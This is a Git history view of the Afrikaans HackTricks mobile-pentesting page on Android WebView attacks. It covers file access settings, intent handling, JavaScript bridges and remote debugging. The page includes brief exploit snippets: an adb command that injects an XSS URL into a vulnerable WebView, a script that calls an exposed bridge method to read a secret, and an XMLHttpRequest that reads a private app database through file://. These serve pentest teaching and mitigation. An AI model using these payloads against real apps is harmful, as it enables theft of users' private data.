hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

150 lines
9.3 KiB
Markdown
Raw Normal View History

# Webview Aanvalle
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:43:38 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
## Gids oor WebView Konfigurasies en Sekuriteit
2022-04-28 16:01:33 +00:00
### Oorsig van WebView Swakhede
'n Kritiese aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's geassosieer met WebView-gebruik te verminder.
![WebView Voorbeeld](<../../.gitbook/assets/image (718).png>)
2024-02-11 02:07:06 +00:00
### **Lêertoegang in WebViews**
Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()` metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Aansoeke met die **android.permission.READ\_EXTERNAL\_STORAGE** toestemming kan lêers vanaf eksterne stoorplekke lees deur 'n lêer-URL-skema (`file://path/to/file`) te gebruik.
#### **Verouderde Funksies: Universele en Lêertoegang vanaf URL's**
* **Universele Toegang vanaf Lêer-URL's**: Hierdie verouderde funksie het kruis-oorsprongversoeke vanaf lêer-URL's toegelaat, wat 'n beduidende sekuriteitsrisiko vir moontlike XSS-aanvalle geskep het. Die verstekinstelling is gedeaktiveer (`false`) vir programme wat Android Jelly Bean en nuwer teiken.
* Om hierdie instelling te kontroleer, gebruik `getAllowUniversalAccessFromFileURLs()`.
* Om hierdie instelling te wysig, gebruik `setAllowUniversalAccessFromFileURLs(boolean)`.
* **Lêertoegang vanaf Lêer-URL's**: Hierdie funksie, ook verouderd, het toegang tot inhoud vanaf ander lêerskema-URL's beheer. Soos universele toegang, is die verstekinstelling gedeaktiveer vir verbeterde sekuriteit.
* Gebruik `getAllowFileAccessFromFileURLs()` om te kontroleer en `setAllowFileAccessFromFileURLs(boolean)` om in te stel.
#### **Veilige Lêerlaai**
2021-05-29 13:27:23 +00:00
Vir die deaktivering van lêersisteemtoegang terwyl steeds toegang tot bates en bronne, word die `setAllowFileAccess()` metode gebruik. Met Android R en hoër is die verstekinstelling `false`.
2021-05-29 16:57:06 +00:00
* Kontroleer met `getAllowFileAccess()`.
* Aktiveer of deaktiveer met `setAllowFileAccess(boolean)`.
2021-05-29 13:27:23 +00:00
2024-02-08 03:08:28 +00:00
#### **WebViewAssetLoader**
2021-05-29 13:27:23 +00:00
Die **WebViewAssetLoader** klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s)-URL's vir toegang tot plaaslike bates en bronne, in ooreenstemming met die Same-Origin-beleid, wat CORS-bestuur fasiliteer.
2021-05-29 13:27:23 +00:00
### loadUrl
2021-05-29 13:27:23 +00:00
Dit is 'n algemene funksie wat gebruik word om willekeurige URL's in 'n webviwe te laai:
```java
webview.loadUrl("<url here>")
```
### **JavaScript en Intent Skema Hantering**
* **JavaScript**: Afgeskakel per standaard in WebViews, dit kan geaktiveer word deur `setJavaScriptEnabled()`. Voorsoichtigheid word aanbeveel aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwessies kan veroorsaak.
* **Intent Skema**: WebViews kan die `intent` skema hanteer, wat moontlik kan lei tot uitbuitings as dit nie sorgvuldig bestuur word nie. 'n Voorbeeld van 'n kwesbaarheid het 'n blootgestelde WebView parameter "support\_url" ingesluit wat uitgebuit kon word om kruis-webwerf skripsing (XSS) aanvalle uit te voer.
2021-05-29 13:27:23 +00:00
![Kwesbare WebView](<../../.gitbook/assets/image (719).png>)
2021-05-29 13:27:23 +00:00
Uitbuitingsvoorbeeld deur adb te gebruik:
{% code overflow="wrap" %}
```bash
2024-02-08 03:08:28 +00:00
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
2024-02-11 02:07:06 +00:00
### Javascript-brug
'n Funksie word deur Android voorsien wat **JavaScript** in 'n WebView moontlik maak om **nagtiewe Android-app-funksies** aan te roep. Dit word bereik deur die `addJavascriptInterface`-metode te gebruik, wat JavaScript integreer met nagtiewe Android-funksionaliteite, genoem as 'n _WebView JavaScript-brug_. Voorsoorsigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te verkry tot die geregistreerde JavaScript-brug-objek, wat 'n sekuriteitsrisiko inhou as sensitiewe inligting deur hierdie brûe blootgestel word.
2024-02-08 03:08:28 +00:00
* **Uiterste versigtigheid is nodig** vir programme wat Android-weergawes onder 4.2 teiken weens 'n kwesbaarheid wat afgeleë kode-uitvoering deur skadelike JavaScript moontlik maak deur refleksie te benut.
2021-05-29 16:28:54 +00:00
2024-02-11 02:07:06 +00:00
#### Implementering van 'n JavaScript-brug
2021-05-29 16:28:54 +00:00
* **JavaScript-brûe** kan met nagtiewe kode interaksie hê, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:
2021-05-29 16:28:54 +00:00
```javascript
2024-02-08 03:08:28 +00:00
@JavascriptInterface
public String getSecret() {
2024-02-11 02:07:06 +00:00
return "SuperSecretPassword";
2024-02-08 03:08:28 +00:00
};
2021-05-29 16:28:54 +00:00
```
* JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView toe te voeg:
2021-05-29 16:28:54 +00:00
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
* Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld deur 'n XSS-aanval, maak dit moontlik om blootgestelde Java-metodes aan te roep:
2024-02-08 03:08:28 +00:00
```html
2021-05-29 16:28:54 +00:00
<script>alert(javascriptBridge.getSecret());</script>
```
* Om risiko's te verminder, **beperk JavaScript-bruggebruik** tot kode wat saam met die APK gestuur word en voorkom dat JavaScript vanaf afgeleë bronne gelaai word. Stel vir ouer toestelle die minimum API-vlak op 17 in.
2021-05-29 16:28:54 +00:00
### Refleksie-gebaseerde Remote Kode-uitvoering (RCE)
2021-05-29 16:28:54 +00:00
* 'n Gedokumenteerde metode maak dit moontlik om RCE deur refleksie te bereik deur 'n spesifieke lading uit te voer. Die `@JavascriptInterface`-annotasie voorkom egter ongemagtigde metode-toegang en beperk die aanvalsoppervlak.
2021-05-29 16:28:54 +00:00
### Afgeleë Foutopsporing
* **Afgeleë foutopsporing** is moontlik met **Chrome Developer Tools**, wat interaksie en willekeurige JavaScript-uitvoering binne die WebView-inhoud moontlik maak.
#### Afgeleë Foutopsporing Aktiveer
* Afgeleë foutopsporing kan geaktiveer word vir alle WebViews binne 'n toepassing deur:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
2024-02-11 02:07:06 +00:00
WebView.setWebContentsDebuggingEnabled(true);
}
```
* Om voorwaardelik die foutopsporing te aktiveer gebaseer op die toestand van die aansoek se foutopsporingsvermoë:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
2024-02-11 02:07:06 +00:00
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
2024-02-11 02:07:06 +00:00
## Uitlek van willekeurige lêers
* Wys die uitlek van willekeurige lêers deur middel van 'n XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
2024-02-11 02:07:06 +00:00
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
2021-05-29 16:57:06 +00:00
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
2024-02-11 02:07:06 +00:00
## Verwysings
2024-02-08 03:08:28 +00:00
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:43:38 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>